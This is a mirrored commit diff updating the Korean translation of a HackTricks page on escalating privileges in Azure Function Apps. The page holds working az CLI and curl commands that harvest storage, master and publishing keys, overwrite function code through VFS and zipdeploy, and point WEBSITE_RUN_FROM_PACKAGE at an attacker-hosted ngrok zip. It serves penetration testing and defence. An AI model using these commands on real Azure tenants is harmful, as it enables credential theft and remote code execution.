mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+84
-63
@@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
## Function Apps
|
## Function Apps
|
||||||
|
|
||||||
다음 페이지에서 자세한 정보를 확인하세요:
|
더 많은 정보는 다음 페이지를 확인하세요:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../az-services/az-function-apps.md
|
../az-services/az-function-apps.md
|
||||||
@@ -12,26 +12,26 @@
|
|||||||
|
|
||||||
### Bucket Read/Write
|
### Bucket Read/Write
|
||||||
|
|
||||||
Function 데이터를 저장하는 Storage Account 내부의 containers를 읽을 수 있는 권한이 있으면, **다른 containers**(사용자 정의 또는 사전 정의된 이름)를 찾아 **function이 실행하는 코드**를 포함하고 있을 수 있습니다.
|
Function data를 저장하는 Storage Account 내부의 containers를 읽을 권한이 있으면, **서로 다른 containers**(custom 또는 미리 정의된 이름)를 찾아서 **function이 실행하는 code**를 포함하고 있을 수 있습니다.
|
||||||
|
|
||||||
함수 코드가 위치한 곳을 찾고 그 위치에 대한 쓰기 권한이 있다면, 해당 함수를 임의의 코드를 실행하도록 만들어 함수에 연결된 managed identities로 권한 상승할 수 있습니다.
|
function code가 위치한 곳을 찾은 뒤, 그곳에 write 권한이 있으면 function이 어떤 code든 실행하도록 만들 수 있고, 해당 function에 연결된 managed identities로 권한 상승할 수 있습니다.
|
||||||
|
|
||||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||||
|
|
||||||
함수의 코드는 보통 file share 내부에 저장됩니다. 충분한 접근 권한이 있으면 코드 파일을 수정하여 **function이 임의의 코드를 로드하도록 만들 수 있으며**, 이를 통해 Function에 연결된 managed identities로 권한 상승이 가능합니다.
|
function의 code는 보통 file share 안에 저장됩니다. 충분한 접근 권한이 있으면 code 파일을 수정해서 **function이 arbitrary code를 로드하도록** 만들 수 있고, 이를 통해 Function에 연결된 managed identities로 권한 상승할 수 있습니다.
|
||||||
|
|
||||||
This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from
|
이 deployment method는 보통 다음 settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** 및 **`WEBSITE_CONTENTSHARE`**를 구성하며, 이것들은 다음에서 얻을 수 있습니다
|
||||||
```bash
|
```bash
|
||||||
az functionapp config appsettings list \
|
az functionapp config appsettings list \
|
||||||
--name <app-name> \
|
--name <app-name> \
|
||||||
--resource-group <res-group>
|
--resource-group <res-group>
|
||||||
```
|
```
|
||||||
해당 구성에는 Function이 코드에 접근하는 데 사용할 수 있는 **Storage Account Key**가 포함됩니다.
|
Those configs will contain the **Storage Account Key** that the Function can use to access the code.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> File Share에 연결하고 실행 중인 **스크립트를 수정**할 수 있는 충분한 권한이 있으면 Function에서 임의의 코드를 실행하고 권한을 상승시킬 수 있습니다.
|
> File Share에 연결하고 실행 중인 **script를 modify**할 수 있는 충분한 permission이 있으면, Function에서 arbitrary code를 execute하고 privileges를 escalate하는 것이 가능합니다.
|
||||||
|
|
||||||
다음 예제는 macOS를 사용해 file share에 연결하는 방법을 보여주지만, file share에 대한 자세한 정보는 다음 페이지도 확인하는 것이 좋습니다:
|
다음 example은 macOS를 사용해 file share에 연결하지만, file shares에 대한 더 많은 정보를 위해 다음 page도 확인하는 것이 권장됩니다:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../az-services/az-file-shares.md
|
../az-services/az-file-shares.md
|
||||||
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
|||||||
```
|
```
|
||||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||||
|
|
||||||
함수 앱이 사용하는 Storage Account 컨테이너의 `function-releases` 폴더(보통 컨테이너 이름도 `function-releases`) 안에서 **zip releases**를 찾는 경우가 흔합니다.
|
함수 앱이 사용하는 Storage Account container의 `function-releases` 폴더 안에서 **zip releases**를 찾는 것도 흔합니다. 이 container는 **보통 `function-releases`라고 불립니다**.
|
||||||
|
|
||||||
보통 이 배포 방식은 `WEBSITE_RUN_FROM_PACKAGE` 설정을 다음 위치에 지정합니다:
|
보통 이 배포 방식은 다음 위치에 `WEBSITE_RUN_FROM_PACKAGE` config를 설정합니다:
|
||||||
```bash
|
```bash
|
||||||
az functionapp config appsettings list \
|
az functionapp config appsettings list \
|
||||||
--name <app-name> \
|
--name <app-name> \
|
||||||
--resource-group <res-group>
|
--resource-group <res-group>
|
||||||
```
|
```
|
||||||
This config will usually contain a **SAS URL to download** the code from the Storage Account.
|
이 설정은 일반적으로 Storage Account에서 코드를 다운로드하기 위한 **SAS URL**을 포함합니다.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> 충분한 권한으로 **contains the code in zip**가 들어있는 blob container에 연결할 수 있으면 Function에서 임의의 코드를 실행하고 escalate privileges할 수 있습니다.
|
> `code in zip`를 **포함하는** blob container에 연결할 수 있을 만큼의 권한이 있으면 Function에서 임의의 코드를 실행하고 privileges를 escalate하는 것이 가능합니다.
|
||||||
|
|
||||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||||
|
|
||||||
Just like in the previous case, if the deployment is done via Github Actions it's possible to find the folder **`github-actions-deploy`** in the Storage Account containing a zip of the code and a SAS URL to the zip in the setting `WEBSITE_RUN_FROM_PACKAGE`.
|
이전 경우와 마찬가지로, deployment가 Github Actions를 통해 이루어지면 Storage Account에서 코드의 zip과 `WEBSITE_RUN_FROM_PACKAGE` 설정에 있는 zip의 SAS URL을 포함하는 **`github-actions-deploy`** 폴더를 찾을 수 있습니다.
|
||||||
|
|
||||||
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
||||||
|
|
||||||
function data를 저장하는 Storage Account 내의 컨테이너들을 읽을 수 있는 권한이 있으면 **`scm-releases`** 컨테이너를 찾을 수 있습니다. 해당 컨테이너에서는 최신 릴리스를 **Squashfs filesystem file format**으로 찾을 수 있으며, 따라서 function의 코드를 읽을 수 있습니다:
|
Function data를 저장하는 Storage Account 내부의 containers를 읽을 수 있는 권한이 있으면 **`scm-releases`** container를 찾을 수 있습니다. 그 안에서 최신 release를 **Squashfs filesystem file format**으로 찾을 수 있으므로 function의 코드를 읽을 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
# List containers inside the storage account of the function app
|
# List containers inside the storage account of the function app
|
||||||
az storage container list \
|
az storage container list \
|
||||||
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
|||||||
mkdir /tmp/fs
|
mkdir /tmp/fs
|
||||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||||
```
|
```
|
||||||
스토리지 계정의 컨테이너 **`azure-webjobs-secrets`** 내의 폴더 **`<app-name>`** 안에 있는 JSON 파일들에서 **master and functions keys**를 찾을 수도 있습니다.
|
또한 storage account의 컨테이너 **`azure-webjobs-secrets`** 안, 폴더 **`<app-name>`** 내부에 저장된 JSON 파일들에서 **master and functions keys**를 찾을 수 있습니다.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> blob container에 연결할 수 있는 충분한 권한이 있고, 그 컨테이너가 **contains the code in a zip extension file** (실제로는 **`squashfs`**)를 포함하고 있다면, Function에서 임의의 코드를 실행하고 권한을 상승시킬 수 있습니다.
|
> blob 컨테이너에 연결할 수 있을 만큼 충분한 권한이 있고, 그 컨테이너가 **zip extension file 형태의 코드를 포함**한다면(실제로는 **`squashfs`**), Function에서 arbitrary code를 실행하고 privileges를 escalate할 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
# Modify code inside the script in /tmp/fs adding your code
|
# Modify code inside the script in /tmp/fs adding your code
|
||||||
|
|
||||||
@@ -118,11 +118,11 @@ az storage blob upload \
|
|||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/host/listkeys/action`
|
### `Microsoft.Web/sites/host/listkeys/action`
|
||||||
|
|
||||||
이 권한은 지정된 함수의 function, master 및 system 키를 나열할 수 있게 하지만 host 키는 나열할 수 없으며, 다음으로 수행할 수 있습니다:
|
이 권한은 지정된 function의 function, master, system keys는 나열할 수 있지만, host key는 나열할 수 없으며, 다음으로:
|
||||||
```bash
|
```bash
|
||||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||||
```
|
```
|
||||||
master key로는 다음과 같은 URL에서 소스 코드를 가져올 수도 있습니다:
|
master key를 사용하면 다음과 같은 URL에서 source code를 가져오는 것도 가능합니다:
|
||||||
```bash
|
```bash
|
||||||
# Get "script_href" from
|
# Get "script_href" from
|
||||||
az rest --method GET \
|
az rest --method GET \
|
||||||
@@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
|||||||
# JavaScript function app example
|
# JavaScript function app example
|
||||||
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
|
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
|
||||||
```
|
```
|
||||||
그리고 함수에서 **실행되는 코드를 변경하려면**:
|
그리고 함수에서 실행되고 있는 코드를 **변경**하려면:
|
||||||
```bash
|
```bash
|
||||||
# Set the code to set in the function in /tmp/function_app.py
|
# Set the code to set in the function in /tmp/function_app.py
|
||||||
## Python function app example
|
## Python function app example
|
||||||
@@ -154,32 +154,32 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot
|
|||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/functions/listKeys/action`
|
### `Microsoft.Web/sites/functions/listKeys/action`
|
||||||
|
|
||||||
이 권한은 다음을 사용하여 지정된 함수의 기본 키를 가져올 수 있게 합니다:
|
이 권한은 지정된 function의 default key를 다음과 같이 가져올 수 있게 합니다:
|
||||||
```bash
|
```bash
|
||||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||||
```
|
```
|
||||||
획득한 기본 키로 함수를 호출하세요:
|
기본적으로 얻은 key를 사용하여 function을 Invoke:
|
||||||
```bash
|
```bash
|
||||||
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
|
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
|
||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/host/functionKeys/write`
|
### `Microsoft.Web/sites/host/functionKeys/write`
|
||||||
|
|
||||||
이 권한은 지정된 함수의 function key를 생성하거나 업데이트할 수 있도록 허용합니다:
|
이 권한은 다음으로 지정된 function의 function key를 생성/업데이트할 수 있게 합니다:
|
||||||
```bash
|
```bash
|
||||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/host/masterKey/write`
|
### `Microsoft.Web/sites/host/masterKey/write`
|
||||||
|
|
||||||
이 권한은 다음을 사용하여 지정된 함수에 대한 마스터 키를 생성/업데이트할 수 있게 합니다:
|
이 권한은 다음으로 지정된 function의 master key를 생성/업데이트할 수 있게 합니다:
|
||||||
```bash
|
```bash
|
||||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||||
```
|
```
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> 이 키를 사용하면 이전에 설명한 것처럼 소스 코드를 액세스하고 수정할 수도 있다는 점을 기억하세요!
|
> 이 key로 source code에도 접근할 수 있고, 앞서 설명한 대로 이를 수정할 수도 있다는 점을 기억하세요!
|
||||||
|
|
||||||
### `Microsoft.Web/sites/host/systemKeys/write`
|
### `Microsoft.Web/sites/host/systemKeys/write`
|
||||||
|
|
||||||
이 권한은 지정된 함수에 대해 시스템 함수 키를 다음과 같이 생성/업데이트할 수 있게 해줍니다:
|
이 permission은 다음으로 지정된 function에 system function key를 생성/업데이트할 수 있게 합니다:
|
||||||
```bash
|
```bash
|
||||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||||
```
|
```
|
||||||
@@ -193,28 +193,28 @@ curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<syst
|
|||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/config/list/action`
|
### `Microsoft.Web/sites/config/list/action`
|
||||||
|
|
||||||
이 권한은 함수의 설정을 가져올 수 있게 합니다. 이러한 구성 내에서 기본값인 **`AzureWebJobsStorage`** 또는 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** 를 찾아볼 수 있으며, 이는 **함수의 blob storage에 FULL 권한으로 접근할 수 있는 계정 키** 를 포함하고 있을 수 있습니다.
|
이 권한은 function의 설정을 가져올 수 있게 합니다. 이러한 구성 내부에서 **`AzureWebJobsStorage`** 또는 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**의 기본값을 찾을 수 있을 수 있으며, 여기에는 function의 blob storage에 **FULL 권한**으로 접근할 수 있는 **account key**가 포함되어 있습니다.
|
||||||
```bash
|
```bash
|
||||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||||
```
|
```
|
||||||
또한, 이 권한을 통해 (활성화된 경우) 다음과 같이 **SCM username and password**를 얻을 수 있습니다:
|
또한 이 권한은 다음을 사용해 **SCM 사용자 이름과 비밀번호**(활성화된 경우)도 얻을 수 있게 합니다:
|
||||||
```bash
|
```bash
|
||||||
az rest --method POST \
|
az rest --method POST \
|
||||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
||||||
|
|
||||||
이 권한들은 앞서 본 것처럼 함수의 구성 값들을 나열할 수 있게 해주며, **이 값들을 수정할 수 있습니다**. 이 설정들은 함수 내부에서 실행할 코드가 어디에 위치하는지를 나타내므로 유용합니다.
|
이 권한들은 앞서 본 것처럼 function의 config 값을 나열할 수 있게 해줄 뿐 아니라 **이 값들을 수정**할 수도 있게 해줍니다. 이는 이러한 settings가 function 내부에서 실행할 code가 어디에 위치하는지 알려주기 때문에 유용합니다.
|
||||||
|
|
||||||
따라서 웹 애플리케이션에서 실행할 새 코드를 포함한 zip 파일의 URL을 가리키도록 **`WEBSITE_RUN_FROM_PACKAGE`** 설정 값을 지정할 수 있습니다:
|
따라서 web application 안에서 실행할 새로운 code가 들어 있는 URL zip file을 가리키도록 setting **`WEBSITE_RUN_FROM_PACKAGE`** 값을 설정하는 것이 가능합니다:
|
||||||
|
|
||||||
- 먼저 현재 구성을 가져옵니다
|
- 먼저 현재 config를 가져오기
|
||||||
```bash
|
```bash
|
||||||
az functionapp config appsettings list \
|
az functionapp config appsettings list \
|
||||||
--name <app-name> \
|
--name <app-name> \
|
||||||
--resource-group <res-name>
|
--resource-group <res-name>
|
||||||
```
|
```
|
||||||
- 함수가 실행할 코드를 작성하고 공개적으로 호스팅하세요.
|
- function이 실행하기를 원하는 code를 만들고 이를 public하게 host하기
|
||||||
```bash
|
```bash
|
||||||
# Write inside /tmp/web/function_app.py the code of the function
|
# Write inside /tmp/web/function_app.py the code of the function
|
||||||
cd /tmp/web/function_app.py
|
cd /tmp/web/function_app.py
|
||||||
@@ -224,9 +224,9 @@ python3 -m http.server
|
|||||||
# Serve it using ngrok for example
|
# Serve it using ngrok for example
|
||||||
ngrok http 8000
|
ngrok http 8000
|
||||||
```
|
```
|
||||||
- 함수를 수정하되 이전 파라미터는 그대로 유지하고 마지막에 코드가 포함된 **zip**의 URL을 가리키는 설정 **`WEBSITE_RUN_FROM_PACKAGE`** 을 추가하세요.
|
- 함수를 수정하고, 이전 parameters를 유지한 채 끝에 code가 들어 있는 **zip**의 URL을 가리키는 config **`WEBSITE_RUN_FROM_PACKAGE`**를 추가합니다.
|
||||||
|
|
||||||
다음은 제 **설정 예시(값은 본인에 맞게 변경해야 합니다)** 입니다. 끝 부분의 값 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` 에 주목하세요. 이 URL이 제가 앱을 호스팅하던 위치입니다.
|
다음은 제 **own settings**의 예시이며, 여러분은 자신의 값으로 바꿔야 합니다. 끝부분의 값 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`에 주목하세요. 여기서 제가 app을 호스팅했습니다.
|
||||||
```bash
|
```bash
|
||||||
# Modify the function
|
# Modify the function
|
||||||
az rest --method PUT \
|
az rest --method PUT \
|
||||||
@@ -236,7 +236,7 @@ az rest --method PUT \
|
|||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/hostruntime/vfs/write`
|
### `Microsoft.Web/sites/hostruntime/vfs/write`
|
||||||
|
|
||||||
이 권한이 있으면 웹 콘솔을 통해(또는 다음 API 엔드포인트를 통해) **애플리케이션의 코드를 수정할 수 있습니다**:
|
이 권한이 있으면 웹 콘솔(또는 다음 API 엔드포인트를 통해) **애플리케이션의 코드를 수정할 수 있습니다**:
|
||||||
```bash
|
```bash
|
||||||
# This is a python example, so we will be overwritting function_app.py
|
# This is a python example, so we will be overwritting function_app.py
|
||||||
# Store in /tmp/body the raw python code to put in the function
|
# Store in /tmp/body the raw python code to put in the function
|
||||||
@@ -266,7 +266,7 @@ body: responseMessage
|
|||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
||||||
|
|
||||||
이 권한은 모든 퍼블리싱 프로파일을 나열할 수 있게 해주며, 이는 기본적으로 **basic auth credentials**를 포함합니다:
|
이 permissions는 기본적으로 **basic auth credentials**를 포함하는 모든 publishing profiles를 나열할 수 있게 합니다:
|
||||||
```bash
|
```bash
|
||||||
# Get creds
|
# Get creds
|
||||||
az functionapp deployment list-publishing-profiles \
|
az functionapp deployment list-publishing-profiles \
|
||||||
@@ -274,15 +274,15 @@ az functionapp deployment list-publishing-profiles \
|
|||||||
--resource-group <res-name> \
|
--resource-group <res-name> \
|
||||||
--output json
|
--output json
|
||||||
```
|
```
|
||||||
또 다른 옵션은 자신의 creds를 설정하고 다음을 사용해 이용하는 것입니다:
|
또 다른 옵션은 자신의 creds를 설정하고 다음을 사용해 그것들을 활용하는 것입니다:
|
||||||
```bash
|
```bash
|
||||||
az functionapp deployment user set \
|
az functionapp deployment user set \
|
||||||
--user-name DeployUser123456 g \
|
--user-name DeployUser123456 g \
|
||||||
--password 'P@ssw0rd123!'
|
--password 'P@ssw0rd123!'
|
||||||
```
|
```
|
||||||
- 만약 **REDACTED** 자격 증명
|
- If **REDACTED** credentials
|
||||||
|
|
||||||
만약 해당 자격 증명이 **REDACTED**로 표시된다면, 이는 당신이 **need to enable the SCM basic authentication option** 때문이며, 이를 위해 두 번째 권한 (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
그 자격 증명이 **REDACTED**라면, **SCM basic authentication 옵션을 활성화해야 하기 때문**이며, 이를 위해 두 번째 권한(`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`가 필요합니다.
|
||||||
```bash
|
```bash
|
||||||
# Enable basic authentication for SCM
|
# Enable basic authentication for SCM
|
||||||
az rest --method PUT \
|
az rest --method PUT \
|
||||||
@@ -302,28 +302,49 @@ az rest --method PUT \
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
- **방법 SCM**
|
- **Method SCM**
|
||||||
|
|
||||||
그런 다음, 이러한 **basic auth credentials to the SCM URL**를 사용해 function app의 SCM URL에 접속하여 env variables의 값을 얻을 수 있습니다:
|
그런 다음, **이 기본 auth credentials로 function app의 SCM URL**에 접근하여 env variables의 값을 얻을 수 있습니다:
|
||||||
```bash
|
```bash
|
||||||
# Get settings values
|
# Get settings values
|
||||||
curl -u '<username>:<password>' \
|
curl -u '<username>:<password>' \
|
||||||
https://<app-name>.scm.azurewebsites.net/api/settings -v
|
https://<app-name>.scm.azurewebsites.net/api/settings -v
|
||||||
|
|
||||||
# Deploy code to the funciton
|
|
||||||
zip function_app.zip function_app.py # Your code in function_app.py
|
|
||||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
|
||||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
|
||||||
```
|
```
|
||||||
_참고: **SCM username** 은 보통 문자 "$" 다음에 앱 이름이 붙은 형태입니다. 예: `$<app-name>`._
|
새로운 function code를 download, modify, upload할 수 있습니다:
|
||||||
|
```bash
|
||||||
|
# download
|
||||||
|
curl -u '<username>:<password>' -X GET \
|
||||||
|
https://<app-name>.scm.azurewebsites.net/api/zip/site/wwwroot/ \
|
||||||
|
-o current_function_code.zip
|
||||||
|
|
||||||
다음 URL로 웹 페이지에 접근할 수도 있습니다: `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
unzip current_function_code.zip -d updated_code/
|
||||||
|
cd updated_code/
|
||||||
|
#... modify the function code
|
||||||
|
zip -r ../updated_function_app.zip .
|
||||||
|
cd ../
|
||||||
|
|
||||||
설정 값에는 function app의 데이터를 저장하는 storage account의 **AccountKey**가 포함되어 있어 해당 storage account를 제어할 수 있습니다.
|
# upload
|
||||||
|
curl -u '<username>:<password>' https://<app-name>.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v
|
||||||
|
```
|
||||||
|
특정 파일도 업로드할 수 있습니다 :
|
||||||
|
```bash
|
||||||
|
curl -u '<username>:<password>' \
|
||||||
|
-X PUT \
|
||||||
|
-H "Content-Type: application/javascript" \
|
||||||
|
-H "If-Match: *" \
|
||||||
|
--data-binary "@./my_local_payload.js" \
|
||||||
|
"https://<app-name>.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file
|
||||||
|
```
|
||||||
|
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
|
||||||
|
|
||||||
- **방법 FTP**
|
You can also access the web page from `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||||
|
|
||||||
다음 정보를 사용하여 FTP 서버에 접속합니다:
|
The settings values contains the **AccountKey** of the storage account storing the data of the function app, allowing to control that storage account.
|
||||||
|
|
||||||
|
- **Method FTP**
|
||||||
|
|
||||||
|
Connect to the FTP server using:
|
||||||
```bash
|
```bash
|
||||||
# macOS install lftp
|
# macOS install lftp
|
||||||
brew install lftp
|
brew install lftp
|
||||||
@@ -341,15 +362,15 @@ _참고로 **FTP username**은 보통 \<app-name>\\$\<app-name> 형식입니다.
|
|||||||
|
|
||||||
### `Microsoft.Web/sites/hostruntime/vfs/read`
|
### `Microsoft.Web/sites/hostruntime/vfs/read`
|
||||||
|
|
||||||
이 권한은 VFS를 통해 앱의 **소스 코드를 읽을 수 있게 합니다:**
|
이 permission은 VFS를 통해 앱의 **source code를 읽을 수 있게** 합니다:
|
||||||
```bash
|
```bash
|
||||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/functions/token/action`
|
### `Microsoft.Web/sites/functions/token/action`
|
||||||
|
|
||||||
이 권한으로는 [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01)를 얻을 수 있으며, 이는 나중에 **master key**를 가져오는 데 사용되어 함수의 코드를 조회하고 수정할 수 있습니다.
|
이 권한이 있으면 [**admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01)을 가져올 수 있으며, 이후 이를 사용해 **master key**를 검색하고, 결과적으로 function의 코드를 접근하고 수정할 수 있습니다.
|
||||||
|
|
||||||
하지만 최근 확인에서는 token이 반환되지 않아 비활성화되었거나 더 이상 작동하지 않을 수 있습니다. 아래는 이를 수행하는 방법입니다:
|
하지만 최근 확인에서는 token이 반환되지 않았으므로, 비활성화되어 있거나 더 이상 동작하지 않을 수 있습니다. 그래도 방법은 다음과 같습니다:
|
||||||
```bash
|
```bash
|
||||||
# Get admin token
|
# Get admin token
|
||||||
az rest --method GET \
|
az rest --method GET \
|
||||||
@@ -361,7 +382,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
|||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
||||||
|
|
||||||
이 권한은 비활성화되어 있을 수 있는 **Functions를 활성화**(또는 비활성화)할 수 있습니다.
|
이 권한은 비활성화된 **functions**를 활성화할 수 있습니다(또는 비활성화할 수도 있습니다).
|
||||||
```bash
|
```bash
|
||||||
# Enable a disabled function
|
# Enable a disabled function
|
||||||
az functionapp config appsettings set \
|
az functionapp config appsettings set \
|
||||||
@@ -369,13 +390,13 @@ az functionapp config appsettings set \
|
|||||||
--resource-group <res-group> \
|
--resource-group <res-group> \
|
||||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||||
```
|
```
|
||||||
다음 URL에서 함수가 활성화되어 있는지 비활성화되어 있는지 확인할 수도 있습니다(괄호 안의 권한 사용):
|
다음 URL에서 함수가 enabled인지 disabled인지도 확인할 수 있습니다(괄호 안의 permission 사용):
|
||||||
```bash
|
```bash
|
||||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||||
```
|
```
|
||||||
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
||||||
|
|
||||||
